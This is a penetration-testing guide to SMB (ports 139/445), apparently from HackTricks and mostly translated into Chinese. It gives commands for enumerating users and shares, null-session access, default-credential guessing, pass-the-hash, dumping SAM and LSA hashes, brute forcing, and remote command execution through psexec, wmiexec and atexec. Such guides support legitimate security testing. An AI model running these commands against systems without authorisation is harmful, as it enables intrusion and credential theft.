# 139,445 - SMB 渗透测试
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
## **端口 139** **NetBIOS** 代表 _网络基本输入输出系统_。它是一种软件协议,允许局域网(LAN)上的应用程序、个人电脑和桌面电脑与网络硬件进行通信,并在网络上传输数据。在 NetBIOS 网络上运行的软件应用程序通过它们的 NetBIOS 名称定位和识别彼此。NetBIOS 名称最长可达 16 个字符,并且通常与计算机名称分开。当一个应用程序(客户端)通过 **TCP 端口 139** 发送命令“呼叫”另一个客户端(服务器)时,两个应用程序会启动一个 NetBIOS 会话。(摘自[这里](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## 端口445 虽然端口139在技术上被称为“NBT over IP”,但端口445是“SMB over IP”。**SMB**代表“**Server Message Blocks**”。现代语言中,Server Message Block也被称为**Common Internet File System**。该系统作为应用层网络协议主要用于在网络上的节点之间提供文件、打印机、串口和其他通信方式的共享访问。 例如,在Windows上,SMB可以直接在TCP/IP上运行,而无需NetBIOS over TCP/IP。正如你所指出的,这将使用端口445。在其他系统上,你会发现服务和应用程序使用端口139。这意味着SMB正在使用NetBIOS over TCP/IP。(摘自[这里](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB Server Message Block (`SMB`) 是一种**客户端-服务器**协议,用于管理对文件、整个目录和其他网络资源(如打印机、路由器或网络接口)的访问。该协议的主要应用领域是特定的Windows操作系统系列,其网络服务以向下兼容的方式支持SMB - 这意味着具有较新版本的设备可以轻松与安装有较旧Microsoft操作系统的设备进行通信。\ 通过免费软件项目**Samba**,还可以在Linux和Unix发行版中使用SMB,从而实现跨平台的SMB通信。 SMB服务器可以将其本地文件系统的**任意部分作为共享**提供。因此,对客户端可见的**层次结构**部分上独立于服务器上的**结构**。**访问权限**由`访问控制列表`(`ACL`)定义。它们可以根据**`执行`**、**`读取`**和**`完全访问`**等属性以**细粒度的方式**对个别用户或用户组进行控制。**ACL**是基于共享定义的,因此与在服务器上本地分配的权限不对应。 ### IPC$ 共享 来自书籍 _**Network Security Assessment 3rd edition**_ 通过匿名空会话,您可以访问IPC$共享并与通过命名管道公开的服务进行交互。Kali Linux中的enum4linux实用程序非常有用;使用它,您可以获取以下信息: * 操作系统信息 * 父域的详细信息 * 本地用户和组列表 * 可用SMB共享的详细信息 * 有效的系统安全策略 ## 什么是NTLM 如果您不知道什么是NTLM,或者想了解它是如何工作和如何滥用它,您会发现这个关于**NTLM**的页面非常有趣,其中解释了**该协议的工作原理以及您如何利用它:** {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **服务器枚举** ### **扫描**网络以搜索主机: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB服务器版本 要寻找可能的SMB版本漏洞,了解正在使用的版本非常重要。如果这些信息在其他使用的工具中没有显示,您可以: * 使用**MSF**辅助模块\_**auxiliary/scanner/smb/smb\_version** * 或者使用以下脚本: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **搜索漏洞** To search for exploits, you can use various tools and resources. Here are some common methods: - **Exploit Databases**: Websites like Exploit-DB, Rapid7, and Metasploit provide extensive databases of known exploits. You can search these databases using relevant keywords or specific vulnerabilities. - **Vulnerability Scanners**: Tools like Nessus, OpenVAS, and Nexpose can scan networks and systems for known vulnerabilities and provide a list of potential exploits. - **Security Blogs and Forums**: Many security researchers and experts share their findings and exploits on blogs and forums. Keeping an eye on these platforms can help you discover new exploits. - **Exploit Frameworks**: Frameworks like Metasploit and Core Impact offer a wide range of exploits that you can search and utilize for penetration testing. Remember, when searching for exploits, it's important to ensure that you have proper authorization and are using them for legitimate purposes. ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **可能的**凭据 | **用户名** | **常见密码** | | -------------------- | ----------------------------------------- | | _(空白)_ | _(空白)_ | | guest | _(空白)_ | | Administrator, admin | _(空白)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### SMB环境信息 ### 获取信息 ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### 枚举用户、组和已登录用户 #### SMB枚举用户 使用`enum4linux`工具可以枚举SMB服务器上的用户列表。该工具可以通过以下命令进行安装: ```bash apt-get install enum4linux ``` 然后,可以使用以下命令来枚举用户: ```bash enum4linux -U ``` #### SMB枚举组 使用`enum4linux`工具可以枚举SMB服务器上的组列表。可以使用以下命令来执行组枚举: ```bash enum4linux -G ``` #### SMB枚举已登录用户 使用`enum4linux`工具可以枚举SMB服务器上的已登录用户列表。可以使用以下命令来执行已登录用户枚举: ```bash enum4linux -u ``` #### 使用Metasploit枚举用户和组 Metasploit框架提供了一些模块,可以用于枚举SMB服务器上的用户和组。可以使用以下命令来启动Metasploit控制台: ```bash msfconsole ``` 然后,可以使用以下命令来枚举用户: ```bash use auxiliary/scanner/smb/smb_enumusers set RHOSTS run ``` 要枚举组,可以使用以下命令: ```bash use auxiliary/scanner/smb/smb_enumgroups set RHOSTS run ``` #### 使用Nmap枚举已登录用户 Nmap是一款功能强大的网络扫描工具,可以用于枚举SMB服务器上的已登录用户。可以使用以下命令来执行已登录用户枚举: ```bash nmap -p 445 --script smb-enum-users ``` 请注意,这些枚举方法可能会在不同的环境中产生不同的结果。因此,建议尝试多种方法以获取更全面的信息。 ```bash # This info should already being gathered from enum4linux and enum4linux-ng crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups # Impacket - Enumerate local users lookupsid.py -no-pass hostname.local # Metasploit - Enumerate local users use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **枚举LSARPC和SAMR rpcclient** {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### 从Linux进行GUI连接 #### 在终端中: `xdg-open smb://cascade.htb/` #### 在文件浏览器窗口中(nautilus,thunar等) `smb://friendzone.htb/general/` ## 共享文件夹枚举 ### 列出共享文件夹 通常建议查看是否可以访问任何内容,如果没有凭据,请尝试使用**null** **凭据/访客用户**。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **连接/列出共享文件夹** To connect to a shared folder on a remote machine, you can use the `smbclient` tool. This tool allows you to interact with SMB (Server Message Block) servers and perform various operations. To connect to a shared folder, use the following command: ``` smbclient /// -U ``` Replace `` with the IP address of the remote machine and `` with the name of the shared folder you want to connect to. Additionally, replace `` with a valid username that has access to the shared folder. Once connected, you can use various commands to interact with the shared folder. For example, you can use the `ls` command to list the files and directories in the shared folder: ``` ls ``` This will display the contents of the shared folder. You can also use the `get` command to download a file from the shared folder to your local machine: ``` get ``` Replace `` with the name of the file you want to download. To exit the `smbclient` tool, use the `exit` command: ``` exit ``` This will disconnect you from the shared folder. ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **手动枚举Windows共享并连接到它们** 可能您被限制显示主机机器的任何共享,当您尝试列出它们时,似乎没有任何共享可连接。因此,值得尝试手动连接到共享。要手动枚举共享,您可能希望查找类似于NT\_STATUS\_ACCESS\_DENIED和NT\_STATUS\_BAD\_NETWORK\_NAME的响应,当使用有效会话(例如空会话或有效凭据)时。这些可能表明共享是否存在且您无权访问它,或者共享根本不存在。 Windows目标的常见共享名称包括: * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (来自《网络安全评估第三版》的常见共享名称) 您可以尝试使用以下命令连接到它们: ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` 或者使用这个脚本(使用空会话) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` ### SMB (Server Message Block) SMB(Server Message Block)是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是一种客户端-服务器协议,允许客户端请求文件或其他服务,并由服务器提供响应。 #### SMB版本 - **SMBv1**:最早的SMB版本,存在许多安全漏洞,因此不推荐使用。 - **SMBv2**:引入了更强大的加密和身份验证机制,是Windows Vista和Windows Server 2008的默认版本。 - **SMBv3**:进一步增强了安全性和性能,是Windows 8和Windows Server 2012的默认版本。 #### SMB的渗透测试 SMB的渗透测试主要包括以下几个方面: 1. **端口扫描**:使用工具如Nmap扫描目标主机的445端口,以确定是否开放了SMB服务。 2. **枚举**:使用工具如enum4linux、smbmap和smbclient来枚举目标主机上的共享文件夹、用户和组信息。 3. **弱口令攻击**:使用工具如Hydra、Medusa和CrackMapExec来尝试猜解SMB服务的用户名和密码。 4. **SMB共享文件夹访问**:使用工具如smbclient、smbget和smbmount来访问目标主机上的共享文件夹,并获取敏感信息。 5. **SMB漏洞利用**:利用已知的SMB漏洞,如EternalBlue和SMBGhost,来获取远程代码执行权限。 #### SMB的常见漏洞 - **SMB弱口令**:使用弱密码保护SMB服务,容易受到暴力破解攻击。 - **SMB共享文件夹权限配置不当**:错误配置共享文件夹的权限,可能导致未经授权的访问。 - **SMB版本漏洞**:旧版本的SMB存在多个已知漏洞,如EternalBlue和SMBGhost,可被黑客利用进行攻击。 #### SMB的防御措施 - **更新SMB版本**:使用最新的SMB版本,以确保安全性和性能。 - **强密码策略**:使用强密码保护SMB服务,避免使用常见密码。 - **正确配置共享文件夹权限**:仅授权合适的用户和组访问共享文件夹。 - **安全补丁和更新**:及时安装操作系统和应用程序的安全补丁和更新,以修复已知的SMB漏洞。 - **网络隔离**:将SMB服务隔离在安全的网络环境中,限制对其的访问。 #### SMB的有用工具 - **enum4linux**:用于枚举SMB服务的工具,可获取共享文件夹、用户和组信息。 - **smbmap**:用于枚举SMB共享文件夹的工具,可检查共享文件夹的权限和内容。 - **smbclient**:用于与SMB共享文件夹进行交互的工具,可上传、下载和删除文件。 - **smbget**:用于从SMB共享文件夹下载文件的工具。 - **smbmount**:用于将SMB共享文件夹挂载到本地文件系统的工具。 - **Hydra**:用于进行弱口令攻击的工具,可猜解SMB服务的用户名和密码。 - **Medusa**:用于进行弱口令攻击的工具,支持多种协议,包括SMB。 - **CrackMapExec**:用于进行弱口令攻击和漏洞利用的工具,支持多种协议,包括SMB。 ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### 挂载共享文件夹 To mount a shared folder, you can use the `mount` command in Linux or the `net use` command in Windows. #### Linux In Linux, you can use the `mount` command to mount a shared folder. The syntax is as follows: ```bash mount -t cifs /// -o username=,password= ``` Replace `` with the IP address of the machine hosting the shared folder, `` with the name of the shared folder, `` with the directory where you want to mount the shared folder, `` with the username required to access the shared folder, and `` with the corresponding password. #### Windows In Windows, you can use the `net use` command to mount a shared folder. The syntax is as follows: ```bash net use : \\\ /user: ``` Replace `` with the desired drive letter for the mounted folder, `` with the IP address of the machine hosting the shared folder, `` with the name of the shared folder, `` with the username required to access the shared folder, and `` with the corresponding password. ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **下载文件** 阅读前面的章节以了解如何使用凭据/Pass-the-Hash连接。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` 命令: * mask:指定用于过滤目录中文件的掩码(例如,""表示所有文件) * recurse:切换递归(默认关闭) * prompt:切换文件名提示(默认开启) * mget:从主机复制与掩码匹配的所有文件到客户机 (_来自smbclient的manpage的信息_) ### 域共享文件夹搜索 * [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 蜘蛛。 * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` 特别有趣的是共享文件中的名为**`Registry.xml`**的文件,因为它们**可能包含**通过组策略配置了**自动登录**的用户的密码。或者名为**`web.config`**的文件,因为它们包含了凭据信息。 {% hint style="info" %} **SYSVOL共享**可以被域中的所有经过身份验证的用户**读取**。在其中,您可能会**找到**许多不同的批处理、VBScript和PowerShell**脚本**。\ 您应该**检查**其中的脚本,因为您可能会**找到**敏感信息,如**密码**。 {% endhint %} ## 读取注册表 您可以使用一些发现的凭据来**读取注册表**。Impacket的**`reg.py`**工具允许您尝试: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## 后渗透 **Samba** 服务器的**默认配置**通常位于 `/etc/samba/smb.conf`,可能包含一些**危险的配置**: | **设置** | **描述** | | ------------------------- | ----------------------------------------------------------------- | | `browseable = yes` | 允许列出当前共享中可用的共享? | | `read only = no` | 禁止创建和修改文件? | | `writable = yes` | 允许用户创建和修改文件? | | `guest ok = yes` | 允许在不使用密码的情况下连接到服务? | | `enable privileges = yes` | 是否遵守分配给特定 SID 的权限? | | `create mask = 0777` | 新创建的文件必须分配的权限是什么? | | `directory mask = 0777` | 新创建的目录必须分配的权限是什么? | | `logon script = script.sh` | 用户登录时需要执行的脚本是什么? | | `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? | | `magic output = script.out`| 魔术脚本的输出应存储在哪里? | 命令 `smbstatus` 提供有关**服务器**和**已连接用户**的信息。 ## 使用 Kerberos 进行身份验证 您可以使用工具 **smbclient** 和 **rpcclient** 进行对 **Kerberos** 的身份验证: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **执行命令** ### **crackmapexec** crackmapexec可以利用**mmcexec,smbexec,atexec,wmiexec**中的任何一个方法来执行命令,其中**wmiexec**是**默认**方法。您可以使用参数`--exec-method`指定您希望使用的选项: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) 这两个选项都会在受害者机器上**创建一个新的服务**(通过SMB使用 _\pipe\svcctl_),并使用它来**执行某些操作**(**psexec**将**上传**一个可执行文件到ADMIN$共享,而**smbexec**将指向**cmd.exe/powershell.exe**并将负载放在参数中 --**无文件技术-**-)。\ 有关[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)和[**smbexec**](../windows-hardening/ntlm/smbexec.md)的**更多信息**。\ 在**kali**中,它位于 /usr/share/doc/python3-impacket/examples/。 ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` 使用**参数**`-k`,您可以使用**Kerberos**进行身份验证,而不是**NTLM**。 ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec 通过**端口135**使用DCOM来执行命令行,而无需触碰磁盘或运行新服务,以隐蔽方式执行。\ 在**kali**上,它位于/usr/share/doc/python3-impacket/examples/目录下。 ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` 使用**参数**`-k`,您可以使用**Kerberos**进行身份验证,而不是**NTLM**。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) 通过任务计划程序执行命令(使用 SMB 上的 _\pipe\atsvc_)。\ 在 **kali** 上,它位于 /usr/share/doc/python3-impacket/examples/。 ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Impacket参考 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **暴力破解用户凭证** **不推荐使用此方法,如果尝试次数超过允许的最大次数,可能会导致账户被封锁** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB中继攻击 该攻击利用Responder工具包在内部网络上**捕获SMB身份验证会话**,并将其**中继**到**目标机器**。如果身份验证**会话成功**,它将自动将您置于**系统**的**shell**中。\ [**在此处获取有关此攻击的更多信息。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap 当页面尝试通过SMB访问某些内容时,Windows库URLMon.dll会自动尝试对主机进行身份验证,例如:`img src="\\10.10.10.10\path\image.jpg"` 这发生在以下功能中: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream 这些功能由一些浏览器和工具(如Skype)使用 ![来源:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### 使用MitMf的SMBTrap ![来源:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## NTLM盗窃 与SMB陷阱类似,通过将恶意文件植入目标系统(例如通过SMB)可以引发SMB身份验证尝试,从而允许使用诸如Responder之类的工具拦截NetNTLMv2哈希。然后可以离线破解哈希或在[SMB中继攻击](pentesting-smb.md#smb-relay-attack)中使用。 [参见:ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## HackTricks自动命令 ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script smb-vuln* -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。